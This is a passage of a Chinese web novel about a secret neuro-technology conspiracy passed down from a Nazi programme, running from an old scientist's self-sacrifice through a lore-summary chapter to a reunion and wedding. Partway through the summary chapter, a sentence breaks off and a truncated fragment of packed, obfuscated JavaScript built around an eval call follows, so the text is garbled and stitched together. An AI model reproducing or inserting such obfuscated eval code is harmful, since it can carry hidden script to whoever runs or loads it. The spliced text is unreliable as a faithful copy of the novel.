“你父亲是我的朋友,也是我的救赎。他让我相信,技术可以做好事。你身上有他的影子,所以我相信你也会做出正确的选择。” 江砚辞问:“您不跟我一起走吗?” 卡尔笑了,拍了拍轮椅:“我走不了。而且,我在这里四十年,总该有个了结。” 他指了指藏在毛毯下的引爆器:“观测站地下深处,我埋了炸药。足够引发塌方,把那些东西永远埋在地下。但需要有人在这里……按下按钮。” 江砚辞明白了。这个老人要用自己的生命,终结八十年的噩梦。 “还有别的办法。”年轻的姑娘苏晚晚说。 卡尔摇头:“来不及了。而且,我的时间本来就不多了。肺癌晚期,每天都是折磨。不如用这残躯,做点有意义的事。” 他看着江砚辞,眼神温和下来:“走吧。带上公式,去拿另外两部分,然后毁了它。永远不要让它重见天日。” 江砚辞最后看了老人一眼,转身离开。 卡尔坐在轮椅上,听着远去的脚步声,看着窗外的雪山。阳光很好,阿尔卑斯山一如既往地壮丽。 他想起1945年跳下卡车时看到的天空,想起1978年江振华第一次来时眼中的光,想起叶真真说的“黑暗最深时,光就要来了”。 现在,光终于来了。虽然不是照在他身上,但照在了下一代身上。 那就够了。 他握住引爆器,按下按钮。 轰隆声从地底传来,山体开始震动,雪崩如约而至。 卡尔闭上眼睛,感到一种前所未有的平静。 八十年了。 从二十一岁的帮凶,到一百岁的赎罪者。 从纳粹实验室,到雪山守望。 这一生,太漫长,太沉重。 但至少,在最后,他做了对的选择。 山崩地裂中,小木屋被掩埋。 而远方的山谷里,江砚辞和苏晚晚回头,看到冲天的雪尘。 “他选择了自己的结局。”苏晚晚轻声说。 “嗯。”江砚辞收回目光,“我们该走了。还有两把钥匙要拿。” 他们不知道的是,在生命的最后一刻,卡尔·施密特博士想起的不是实验室,不是数据,不是战争。 他想起的是1944年那个寒冷的秋日,那个年轻的苏联战俘说:“谢谢……医生。” 他终于可以回答了: “不客气。” “现在,我们都自由了。” 雪崩平息,山谷恢复寂静。 阿尔卑斯山的雪,洁白如初。 就像有些罪孽可以被埋葬。 就像有些救赎,终于完成。 40. 第四十章 “乌鸦计划”到“归墟计划”——三代人的科技暗战全解析 第一代:纳粹的“乌鸦计划”(1942-1945) 起源与目标 “乌鸦计划”(Projekt Raben)起源于1942年的纳粹德国,由党卫军头目希姆莱亲自批准。表面上是“人类潜能开发研究”,实质是制造完全服从、无痛感、高效率的超级士兵。计划的名称“乌鸦”源于北欧神话——奥丁肩上的两只乌鸦“思想”与“记忆”,象征对意识的绝对控制。 核心实验内容 1. 神经机械接口:在活体实验者(多为集中营囚犯)的脊椎和大脑皮层植入电极,试图用电流信号控制肌肉运动。 2. 痛觉阻断:通过药物和手术破坏痛觉神经通路,创造“无痛战士”。 3. 认知干预:使用LSD等致幻剂结合催眠,抹除个人记忆,植入绝对忠诚的指令。 4. 器官机械化:替换受损肢体为机械假体,早期试验造成97%的死亡率。 关键人物 - 埃里希·穆勒博士:计划首席科学家,战后被美国“回形针行动”秘密招募。 - 卡尔·施密特(青年时期):24岁助理研究员,被迫参与数据分析,成为一生的心理创伤。 - 松本裕介(日本军医):1944年被派往德国学习,将部分技术带回日本,融入“金刚计划”。 遗产与转移 1945年4月,柏林即将被攻陷前,穆勒博士将全部实验数据、样本、设备清单分成三批: 1. 第一部分:经瑞士中立国银行渠道,转移至南美(阿根廷、巴西)。 2. 第二部分:由松本裕介携带返回日本,藏于千岛湖雾隐岛。 3. 第三部分(核心算法):委托瑞士银行保管,等待“合适时机”。 战后,这批资料被三个前纳粹科学家+松本裕介组成的秘密团体继承,该团体在1946年正式命名为“渡鸦组织”(The Ravens)。 --- 第二代:“凤凰计划”(1985-1998)——光明反击 形成背景 1985年,苏黎世大学神经科学实验室。四位年轻学者——中国的江振华(机械工程)、叶真真(神经科学)、林薇(舞蹈治疗)、德国的卡尔·施密特(已中年)——在整理二战遗留档案时,意外发现了“乌鸦计划”的部分数据。 核心理念 “将沾血的技术净化为救人的工具。” - 江振华提出:“既然他们用这个控制人,我们能不能用它帮助瘫痪者重新行走?” - 叶真真补充:“需要建立伦理防火墙,防止技术被再次滥用。” 三重加密设计 为确保技术不被误用,他们设计了三重保护机制: 1. 血脉之钥(江振华保管) - 形式:赛车方向盘吊坠(内嵌生物芯片) - 原理:DNA识别+脑电波验证 - 内容:神经信号基础解码公式 2. 记忆之钥(林薇保管) - 形式:编入特定舞蹈动作序列 - 原理:运动记忆触发神经通路激活 - 内容:伦理约束算法框架 3. 时间之钥(沈青山/青松保管) - 形式:铜钥匙+时间胶囊 - 原理:地理位置+时间戳验证 - 内容:技术应用历史数据库(记录所有实验的完整伦理审查记录) 秘密支援力量 - 林修远院士:中国神经科学泰斗,暗中提供资金和实验室。 - 国安部代号“青松”:沈青山,以留学生身份潜入保护。 - 国际伦理委员会匿名成员:帮助通过审查。 悲剧转折 1998年,“渡鸦”组织发现“凤凰计划”存在,开始追捕。 - 8月17日:叶真真为保护数据自毁于实验室火灾。 - 8月20日:沈青山为掩护叶真真撤离,中枪坠河,失踪。 - 9月:江振华将剩余资料封存,留下线索等待“合适的人”。 “凤凰计划”被迫中止,但留下了完整的理论框架和三个密钥。 --- 第三代:“启明星计划”(2019-2023)——“渡鸦”的疯狂 启动契机 2019年,三件事同时发生: 1. 人工智能算力达到临界点,使意识数字化成为理论可能。 2. 江砚辞赛车事故,暴露出“渡鸦”对江家技术的持续觊觎。 3. 陆文渊继承陆远集团,与“渡鸦”达成深度合作。 核心目标 “实现意识上传与永生,创造新人类物种。” 四大实验方向 #1. 缅甸雨林实验基地 - 地点:缅北克钦邦原始森林 - 内容: - Phase 1:机械肢体与神经接口融合(成功率31%) - Phase 2:痛觉阻断与情绪抑制(导致78%实验体精神崩溃) - Phase 3:外部意识信号覆盖实验(仅2例“部分成功”,实验体丧失自我意识) - 受害者:至少247名贫困村民,其中19人死亡,其余永久性伤残。 #2. 老防空洞日军实验室重启 - 目的:提取“金刚计划”原始血清样本 - 发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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人性终究战胜技术:沈青山选择自我毁灭,叶真真留下道德防火墙。 --- 技术伦理的三大边界 边界一:神经接口技术的三重锁 1. 生理锁:必须检测到使用者的自主神经信号(防止外部控制) 2. 伦理锁:算法内置暴力行为抑制模块 3. 时间锁:使用时长超过安全阈值自动休眠 边界二:意识数字化的不可逆原则 “凤凰计划”明确规定: - 只允许修复,不允许替换 - 意识上传必须保留原体生物学存活 - 禁止创建“意识副本” - 永远禁止意识从数字态转回生物态 边界三:技术传承的“钥匙原则” - 关键技术必须分拆保管 - 需要多重验证(生物+记忆+时间) - 传承人必须证明道德资格 - 每隔20年必须重新评估技术风险 41. [加更]第四十一章 茶园聚会 清明刚过,茶园里的白茶迎来了第一次采摘。培训中心前的广场上支起了竹棚,摆上了茶席,学员们穿着统一的浅绿色制服穿梭其间,空气中弥漫着新茶的清香和节日的喜悦。 江砚辞和苏晚晚站在主楼二楼的露台上,看着下面热闹的景象。 “都准备好了?”苏晚晚轻声问。 “嗯。”江砚辞握紧她的手,“就等他来了。” 他们说的“他”,是叶峥。 一个月前,他们收到一封从撒哈拉边缘寄来的信,信很短:“**最后一个任务完成。下个月春茶节,我回来。**” 没有落款,但字迹是叶峥的。 今天就是春茶节,从清晨等到现在,日头已经偏西,叶峥还没出现。 “他会来的。”苏晚晚说,语气坚定,但紧握的手透露了她的紧张。 两年了。叶峥离开时说“明年春天回来”,结果第二年春天没有回来,只寄来一张明信片,上面是南极的冰山,背面写着:“**延期一年。保重。**” 这一年里,他们偶尔会收到他从世界各地寄来的东西:撒哈拉的沙子,亚马逊的羽毛,西伯利亚的松果……每一样东西都附着一张纸条,报告他又清除了一处“渡鸦”的残余据点。 但他们更想见到他本人。想确认他平安,想听他亲口说那些故事,想让他看看培训中心现在的样子。 “江老师!苏老师!”一个年轻学员跑上来,“有位客人来了,说找你们。” 两人对视一眼,快步下楼。 广场边的茶席旁,站着一个男人。他穿着简单的白衬衫和卡其裤,背着一个磨损的旅行包,头发比两年前长了些,在脑后扎成一个小髻。脸上那道疤痕还在,但眼神温和了许多。 是叶峥。 他瘦了,也黑了,但站在那里的姿态依然挺拔如松。 “叶峥……”江砚辞快步走过去,张开手臂。 叶峥愣了一下,然后笑了,也张开手臂。两个男人紧紧拥抱。 苏晚晚在一旁看着,眼眶湿润。她能感觉到,这个拥抱里有太多说不出的东西——两年的牵挂,十七年的孤独,两代人的传承。 松开后,叶峥看向苏晚晚:“晚晚,好久不见。” “欢迎回家。”苏晚晚也上前拥抱他,“我们一直在等你。” “家……”叶峥重复这个字,眼神有些恍惚,随即笑了,“是啊,我回来了。” …… 三人避开热闹的人群,来到茶园深处的老地方。石桌上已经摆好了茶具,周屿、唐果、林骁、陆野都在等他们。 看到叶峥,所有人都站起来。周屿的轮椅向前滚动了几寸,唐果捂住了嘴,林骁用力拍了拍叶峥的肩膀,陆野则敬了一个标准的军礼——她在缅甸协助联合国工作两年后,回国加入了国际救援组织。 “都坐吧。”叶峥示意大家坐下,“别这么严肃。” “你这家伙,”林骁给他倒茶,“一走就是两年,连个电话都不打。” “有些地方没信号。”叶峥接过茶杯,闻了闻茶香,“这是……新茶?” “去年秋天嫁接的新品种。”江砚辞说,“你寄回来的那些野生茶种,李教授带着我们培育了两年,今年第一次采摘。味道怎么样?” 叶峥喝了一口,闭上眼睛,良久才说:“很香。有……阳光的味道。” 这句话让所有人都笑了。两年的分离,似乎在一杯茶里消融了。 茶过三巡,唐果忍不住问:“叶峥,你这两年……都去了哪里?‘渡鸦’真的彻底清除了吗?” 叶峥放下茶杯,从背包里拿出一个厚厚的笔记本,放在石桌上。 “这是我这趟回来要交给你们的东西。”他说,“‘渡鸦’的故事,完整版。” 笔记本的封面是手写的标题:《阴影与光——‘渡鸦’组织全史及‘凤凰计划’始末》。 翻开第一页,是一张老照片的复印件——1945年,三个德国科学家和一个日本军医在柏林郊外别墅的合影。照片下方标注:“‘渡鸦’创始人:卡尔·冯·霍恩(生物学家)、汉斯·穆勒(神经科学家)、弗里德里希·施密特(机械工程师)、松本裕介(军医)” “这张照片是我在挪威那个据点找到的。”叶峥说,“藏在保险箱的夹层里,保存得很好。背面有他们的签名和一句誓言:‘以科学之名,超越死亡。’” 他继续翻页,每一页都是密密麻麻的文字、照片、图表,记录着“渡鸦”八十年的历史:从二战后的秘密重组,到冷战时期的全球扩张,再到全球化时代的转型……整个组织像一个潜伏在人类文明阴影中的癌细胞,缓慢而顽固地生长。 “但这不是重点。”叶峥翻到笔记本的后半部分,“重点是这里——” 这一部分的标题是:《反抗者:‘凤凰计划’及后续》。 里面有江振华、林薇、叶真真、沈青山(青松)的完整档案,有“凤凰计划”从构想到实施的详细记录,有1985年到1998年这十三年间,四个年轻人在苏黎世那个小小实验室里所做的一切。 “这些都是从‘渡鸦’的档案库里恢复出来的。”叶峥说,“他们监控了‘凤凰计划’的全程,但一直没敢动手,因为想拿到完整成果。直到1998年,他们发现真真在系统里埋了自毁程序,才决定强行夺取。” 他的手停在一页上——那是叶真真最后的工作日志复印件。 “1998年8月16日 青松说‘渡鸦’已经包围了实验室。 我问他怕不怕,他说怕,但更怕什么都没做就死了。 我说我也是。 我们把核心数据分成了三份,约定:无论谁活下来,都要继续。 如果都死了…… 希望未来有人能找到这些碎片,拼出完整的图景。 愿光明从黑暗中诞生。 叶真真绝笔” 石桌旁一片寂静。只有风吹过松树的声音,和远处隐约的欢笑声。 “我姐姐……”叶峥的声音很轻,“她到最后一刻都在相信,会有人继续。” 苏晚晚握住他的手:“我们就是那个‘继续’。” “不止你们。”叶峥翻开下一页,“还有这些人——” 照片上是一群陌生人,有老有少,有不同国籍,但都穿着类似的白大褂,站在各种实验室里。 “这是‘凤凰计划’的延续。”叶峥说,“过去两年,我一边清除‘渡鸦’,一边寻找当年参与过相关研究的人。有些人隐姓埋名,有些人改行做了别的研究,但他们都保留着当年的数据和理念。” 他指向其中一张照片:“这位是玛丽亚·施密特,卡尔·施密特博士的孙女。她在慕尼黑开了一家神经康复诊所,用的就是‘凤凰计划’的早期成果。” 另一张照片:“这位是李在浩,韩国首尔大学的教授。他当年在苏黎世留学时,在真真的实验室做过实习生,现在在研究脑机接口的医疗应用。” 一张又一张照片,一个又一个名字。 “我把你们都联系起来了。”叶峥看着江砚辞和苏晚晚,“建了一个非正式的协作网络。大家共享数据,交流进展,但都遵守一个原则——技术只用于医疗和康复,不用于任何形式的控制和增强。” 江砚辞看着那些照片,感到胸口发热。原来父亲和母亲当年播下的种子,已经在世界各地悄悄发芽。 “所以‘渡鸦’真的结束了?”周屿问。 “组织的实体结束了。”叶峥点头,“但思想不会那么快消失。只要还有人追求永生,追求超越人性的力量,类似的组织就可能再生。” 他顿了顿:“所以我建议,把培训中心升级成一个正式的‘科技伦理与安全研究中心’。不只是教驾驶和舞蹈,更要把你们父母那代人的理念传承下去——技术应该服务于人,而不是控制人;科学的边界不应该是‘能不能’,而是‘该不该’。” 这个提议让所有人都振奋起来。 “我们可以邀请李在浩教授来做讲座。”唐果说。 “玛丽亚博士的康复案例可以做教学参考。”林骁补充。 “我在缅甸建的驾驶学校也可以纳入网络。”陆野说。 看着大家热烈的讨论,叶峥露出了两年来的第一个真正放松的笑容。 姐姐,青松,你们看到了吗?你们点燃的火,已经成了燎原之势。 …… 春茶节的庆祝持续到夜晚。广场中央点起了篝火,学员们围坐一圈,弹吉他,唱歌,分享故事。 江砚辞和苏晚晚拉着叶峥坐在最靠近篝火的地方。 “叶峥,讲讲你的故事吧。”一个年轻学员鼓起勇气说,“我们都听说过‘影子’的传说。” 其他学员也纷纷附和。这两年里,“影子”的故事在培训中心已经成了传奇——那个在暗处守护他们,清除所有危险的神秘人。 叶峥看着跳跃的篝火,沉默了很久。 “我的故事很普通。”他最终开口,“就是一个男孩,想为姐姐报仇,然后用了十七年时间,发现报仇不是最重要的,守护才是。” 他说得很简略,省略了那些血腥的细节,孤独的夜晚,生死一线的时刻。但坐在他身边的江砚辞和苏晚晚能感觉到,这简略背后是怎样的沉重。 “那‘影子’这个代号,还会继续吗?”另一个学员问。 叶峥摇头:“‘影子’的任务已经完成了。从今天起,我只是叶峥——一个想在这里种种茶、教教书的普通人。” 掌声响起,先是零星,然后连成一片。学员们用这种方式,表达对这个传奇的敬意,也对他新生活的祝福。 篝火渐熄时,江砚辞站起来,示意大家安静。 “借着今天这个机会,我有两件事要宣布。”他说,“第一件事,培训中心正式升级为‘振华-林薇科技伦理与安全研究中心’。我们会邀请国内外专家加入,建立一个全球协作网络,继续我父母和真真阿姨他们的事业。” 掌声更热烈了。 “第二件事……”江砚辞看向苏晚晚,两人相视一笑,“是关于我和晚晚的。” 他从口袋里拿出一个丝绒盒子,打开,里面是两枚戒指——不是当年那个活塞环改造的素圈,而是新的对戒,设计很特别:男戒是赛车道和茶树纹路的结合,女戒是芭蕾舞缎带和白茶花的融合。 “两年前的今天,我和晚晚在茶园里举行了简单的婚礼,只有最亲的朋友在场。”江砚辞说,“那时候我们说,等叶峥回来,要重新办一次。现在他回来了,所以我们决定——明天,在这里,补办我们的婚礼。” 欢呼声几乎掀翻夜空。学员们跳起来,围着两人鼓掌,唐果激动得抱住苏晚晚,周屿吹了声口哨,林骁已经开始想明天要怎么布置了。 叶峥坐在原地,看着被众人围绕的江砚辞和苏晚晚,看着他们眼中幸福的光,感到一种久违的温暖。 原来守护的意义,就是看着被守护的人,笑得这样灿烂。 …… 天还没完全亮,培训中心就忙碌起来。学员们自发分工:有人布置场地,有人准备茶点,有人排练节目。 婚礼地点就选在茶园观景台。唐果和林骁用白纱和茶树装饰了那棵老松树,周屿调试好了音响设备,陆野从缅甸带回的学员组成了迎宾队。 十点整,婚礼开始。 没有神父,没有繁琐的仪式。江砚辞和苏晚晚手牵手走上观景台,面对着到场的亲友——李教授专程从北京飞来,林静文教授也从瑞士回来了,还有培训中心的所有老师和学员,以及附近闻讯赶来的村民。 “感谢大家来参加我们的婚礼。”江砚辞开口,“其实两年前我们已经结过一次婚了,但今天,在我们最重要的朋友叶峥的见证下,我们想重新宣誓。” 他转向苏晚晚,握着她的手: “苏晚晚,我承诺:会和你一起守护父母们留下的理念,会用一生去实践‘技术向善’的理想,会陪你在每一个清晨看茶园的日出,在每一个夜晚数天上的星星。” 苏晚晚眼中闪着泪光: “江砚辞,我承诺:会和你一起把培训中心建成理想中的样子,会用自己的舞蹈传递‘艺术疗愈’的力量,会在你迷茫时提醒你方向,在你疲惫时给你肩膀。” 两人交换戒指。新戒指在晨光中闪闪发亮。 然后,苏晚晚走到空地中央:“今天,我要跳一支舞。这支舞的名字叫《传承》。” 音乐响起——是林薇当年教她的那首曲子,但经过了重新编曲,加入了现代元素。 苏晚晚开始起舞。她的动作融合了芭蕾的优雅、现代舞的力量、还有母亲教她的那些特殊动作。她在旋转中模拟茶树生长的姿态,在跳跃中展现赛车飞驰的速度,在静止中表达等待的坚韧。 舞到高潮处,江砚辞也加入进来。他不会跳舞,但他用赛车手的身体控制力,配合着苏晚晚的动作。两人像两棵相互依偎的树,像两辆并驾齐驱的车,像两道交汇的光。 最后,苏晚晚一个高难度的旋转,倒在江砚辞怀里,音乐戛然而止。 寂静持续了三秒,然后是雷鸣般的掌声。 叶峥站在人群中,看着这一幕,眼泪无声滑落。 他想起姐姐日记里的一段话:“如果有一天,我参与研究的这些技术,能让相爱的人更健康地相守,能让受伤的人重新站起来跳舞,那我所有的付出都值得。” 姐姐,你看到了吗?你梦想的画面,正在这里发生。 …… 婚礼结束后,叶峥被江砚辞和苏晚晚请到茶室。除了他们三人,还有周屿、唐果、林骁、陆野。 “有件事,一直没找到合适的机会说。”江砚辞关上门,神色严肃起来,“关于‘归墟’,关于我父亲留下的完整代码,还有……沈青山最后的信息。” 他从保险箱里拿出一个金属盒子,正是当年从“归墟”带出来的那个。打开,里面除了那张透明胶片,还有一个小得多的存储芯片。 “这是沈青山留给我们的最后一样东西。”江砚辞说,“之前因为安全问题,我一直没敢读取。现在叶峥回来了,我觉得是时候了。” 叶峥接过芯片,仔细检查:“这是国安部二十年前用的加密格式。我能破解。” 他连接上电脑,输入了几重密码,芯片内容被成功读取。 不是数据,而是一段视频。拍摄时间是三年前,沈青山还在杭州隐居的时候。 视频里的沈青山比江砚辞他们在千岛湖见到时更苍老些,但眼神依然锐利。 “如果你们看到这段视频,说明我已经不在了,而叶峥破解了加密。”他开口,“首先,小峥,对不起,这些年没有联系你。但你现在能破解这个,说明你已经成长到不需要我保护的程度了。我为你骄傲。” 叶峥握紧了拳头。 “接下来要说的事,可能超出你们的理解。”沈青山继续,“关于‘归墟’,关于那个海底设施的真实来历。” 他调出一张模糊的照片,像是某种地质扫描图,显示出一个巨大的、埋在海底沉积物下的建筑群。 “这不是人类建造的。”沈青山说,“至少,不是我们现在这个文明的人类。根据碳十四测年,这些建筑至少有十二万年的历史。而那个时候,按照主流考古学观点,人类还处在原始阶段。” 茶室里一片寂静。 “‘渡鸦’创始人在二战期间发现这个地方时,也震惊了。”沈青山说,“他们从里面找到了一些技术残片,其中就包括‘意识上传’的基础理论。但他们理解错了方向——他们认为这是‘永生技术’,实际上……” 他停顿了很久: “实际上,这是‘文明传承技术’。建造那个设施的上一代人类——或者,姑且称之为人类——在面临某种灭顶之灾时,选择将整个文明的意识数据化,封存在海底,等待合适的时机‘复活’。” “但为什么是十二万年?”唐果忍不住问,“这么长时间,他们为什么没‘复活’?” “因为条件没满足。”沈青山说,“那个系统设定了一个条件:只有当新文明发展到一定程度,能够理解并尊重意识的价值时,才会启动复活程序。‘渡鸦’想强行启动,结果激活了防御系统——他们七个的意识被困在了那里,成了囚徒。” 视频切换到另一组数据,是复杂的数学公式和神经学模型。 “江振华当年在‘归墟’里发现了真相。他没有拿走技术,而是把系统的‘伦理锁’重新加密, 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江砚辞拿起那张透明胶片,对着窗外的光:“父亲留给我们的,不是权力,是责任。他相信我们这代人会做出比他更明智的选择。” 他把胶片放回盒子:“我建议,继续封存。直到有一天,人类真正准备好了,再去打开那个对话的门。” 所有人都点头同意。 有些门,不该过早打开。 有些秘密,需要时间来成熟。 …… 夕阳西下时,七个人又聚在老松树下。这次,他们带来了一坛埋了两年的白茶——是培训中心第一批白茶的秋茶,当年说好等叶峥回来一起喝。 茶香袅袅中,周屿突然说:“我下个月要去美国了。麻省理工的访问学者邀请,研究脑机接口的安全协议。” “去多久?”唐果问。 “一年。但我会经常回来。”周屿看向江砚辞和苏晚晚,“这里永远是我的家。” “我也要出趟远门。”陆野说,“国际救援组织在非洲的新项目,需要我去指导女子驾驶学校。可能要去半年。” 林骁搂住唐果的肩膀:“我们倒是哪儿也不去。‘雾港’酒吧现在生意可好了,唐果的历史讲座场场爆满。” “我打算在培训中心开一门课。”叶峥平静地说,“教基础的情报分析和安全防护。毕竟,守护光明也是需要技能的。” 江砚辞和苏晚晚相视一笑。 “看来大家都要各奔东西了。”江砚辞说,“但没关系,就像这棵老松树——根在这里,枝叶伸向四方,但总会回来。” 他举起茶杯:“让我们约定:每年春茶节,无论在世界哪个角落,都要尽量回来。在这里,喝一杯新茶,讲一讲这一年的故事。” 七只茶杯碰在一起,发出清脆的响声。 夕阳把他们的影子投在茶树上,拉得很长,像是七个并肩前行的旅人。 “对了,”唐果想起什么,“培训中心的名字定了吗?全称。” 江砚辞看向苏晚晚,两人一起说出那个名字: “振华-林薇-真真-青松科技伦理与安全研究中心。” 用四个名字,纪念两代人的坚持。 用一座中心,延续未完成的理想。 …… 夜深了,其他人都已回房休息,只有叶峥还坐在老松树下。 他仰头看着星空,想起十七年前在伦敦的那个雨夜,想起十六岁的自己握着电话,听着姐姐牺牲的消息。 那时他以为,为姐姐报仇就是人生的全部意义。 现在他明白了,报仇只是开始。真正的意义,是让姐姐的牺牲不白费,是让像姐姐那样的人不用再牺牲,是让光明多一些,黑暗少一些。 脚步声传来,江砚辞拿着两件外套走来,递给他一件。 “睡不着?”江砚辞在他身边坐下。 “在想一些事。”叶峥接过外套,“想我姐姐,想青松,想我这十七年。” “后悔吗?” 叶峥沉默了很久:“不后悔。但如果重来一次,我会在保护好自己的同时,更多地去感受生活,去爱具体的人,而不是只想着任务和仇恨。” 他看向江砚辞:“你和晚晚教会了我这一点。仇恨可以点燃战火,但只有爱能建造家园。” 江砚辞拍拍他的肩膀:“现在开始也不晚。你才三十八岁,人生还长。” “是啊,还长。”叶峥笑了,“长到足够种一片茶园,教一群学生,写一本关于姐姐和青松的书。” 他顿了顿:“你知道吗?在撒哈拉的时候,有一天晚上,我看到沙漠的星空,突然明白了姐姐当年为什么选择这条路。” “为什么?” “不是因为正义或理想那些宏大的东西。”叶峥说,“是因为她爱这个世界——爱清晨的阳光,爱孩子的笑声,爱陌生人之间的善意。因为爱,所以不能容忍黑暗吞噬这些美好的东西。” 他看向培训中心的灯光:“你和晚晚也一样。不是因为要完成父母的遗志,是因为你们爱这个世界,爱这片茶园,爱这些学员,爱彼此。” 江砚辞点头:“你说得对。爱才是所有选择的起点和终点。” 两人并肩坐着,看着星空,听着风声,很久没有说话。 有些话不必说,有些懂得不必言。 最后,叶峥站起来:“我该去休息了。明天还要准备课程大纲。” “叶峥。”江砚辞叫住他。 “嗯?” “欢迎回家。” 叶峥看着他,眼中闪着光:“谢谢。有家的感觉……很好。” 他转身走向培训中心的客房,背影在夜色中挺拔而坚定。 这一次,他不是走向黑暗,而是走向灯光。 走向他迟到了三十八年的,平凡而温暖的生活。 第二天一早,培训中心的钟声照常响起。 学员们开始晨练,老师们开始备课,茶园里传来采茶姑娘的歌声。 江砚辞和苏晚晚站在露台上,看着这充满生机的一切。 “今天叶峥的第一节课。”苏晚晚说,“要去听吗?” “当然。”江砚辞说,“不过我们坐后排,别打扰他。” 教室里,叶峥站在讲台前,面对着一群年轻的面孔。他有些紧张——这是他第一次以叶峥的身份,而不是“影子”的身份,站在这么多人面前。 “各位同学好。”他开口,声音有些干涩,“我是叶峥,今天开始教大家《信息安全与伦理基础》。这门课的核心思想是:技术是工具,人是使用工具的主体。所以,学习技术之前,要先学会做人。” 他在黑板上写下一行字:“知可为,知不可为。” “这是我姐姐叶真真常说的话。”他转身面对学生,“她是一位神经科学家,一生都在研究如何用技术救人。但她更常说的一句话是:‘有些技术,即使能做,也不该做。’” 学生们认真听着,眼睛里是对知识的渴望,也是对这位传奇老师的好奇。 “所以这门课,我们不只讲技术,更讲选择。”叶峥继续说,“讲在每一个技术节点上,如何做出对得起良知的选择。” 他开始讲课,从最基础的密码学讲起,但每讲一个知识点,都会配一个真实的故事——有的是姐姐的经历,有的是他自己的经历,有的是“凤凰计划”那些前辈的经历。 学生们听得入迷。他们不知道,这些看似简单的故事背后,是两代人的血泪和坚守。 课间休息时,一个学生鼓起勇气问:“叶老师,听说您就是‘影子’,是真的吗?” 教室里瞬间安静下来。 叶峥沉默了几秒,然后笑了:“‘影子’已经完成任务了。现在站在这里的,只是叶峥——你们的老师。” 他没有否认,也没有承认。但学生们懂了,掌声自发地响起。 那掌声里,有敬意,有感谢,也有对这位老师选择放下过去、走向新生的祝福。 后排,江砚辞握紧苏晚晚的手:“他找到自己的位置了。” “是啊。”苏晚晚微笑,“在阳光下,而不是阴影里。” 窗外,阳光正好,茶园青翠,白茶花开。 新的一天,真的开始了。 而故事,还在继续。